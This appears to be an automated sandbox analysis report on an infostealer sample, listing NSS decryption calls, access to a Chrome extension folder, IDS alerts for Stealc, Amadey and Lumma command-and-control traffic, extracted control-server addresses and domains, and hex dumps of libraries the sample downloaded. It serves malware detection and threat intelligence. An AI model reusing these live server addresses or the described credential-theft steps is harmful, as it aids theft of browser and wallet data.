Source: 0000001C.00000002.3472970930.00000000008D1000.00000040.00000001.01000000.0000000F.sdmp	String decryptor: LOGS11--public

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6CAF6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CC4A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC444C0 PK11_PubEncrypt,	0_2_6CC444C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC44440 PK11_PrivDecrypt,	0_2_6CC44440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC14420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CC14420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC925B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CC925B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CC2E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CC4A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC28670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CC28670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CC6A730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC70180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CC70180

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50068 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:50080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.0.123:443 -> 192.168.2.6:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.0.123:443 -> 192.168.2.6:50128 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.0.123:443 -> 192.168.2.6:50129 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.0.123:443 -> 192.168.2.6:50130 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.0.123:443 -> 192.168.2.6:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.0.123:443 -> 192.168.2.6:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.0.123:443 -> 192.168.2.6:50137 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2764284320.000000006CD1F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2764284320.000000006CD1F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 5MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49714
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49714
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50121 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50122
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50126 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50132 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50128 -> 104.21.0.123:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50128 -> 104.21.0.123:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50133 -> 104.21.0.123:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50133 -> 104.21.0.123:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:50125 -> 104.21.0.123:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50125 -> 104.21.0.123:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:50137 -> 104.21.0.123:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:50137 -> 104.21.0.123:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:50130 -> 104.21.0.123:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: 300snails.sbs
Source: Malware configuration extractor	URLs: thicktoys.sbs
Source: Malware configuration extractor	URLs: faintbl0w.sbs
Source: Malware configuration extractor	URLs: 3xc1aimbl0w.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 16:07:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 16:07:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 16:07:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 16:07:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 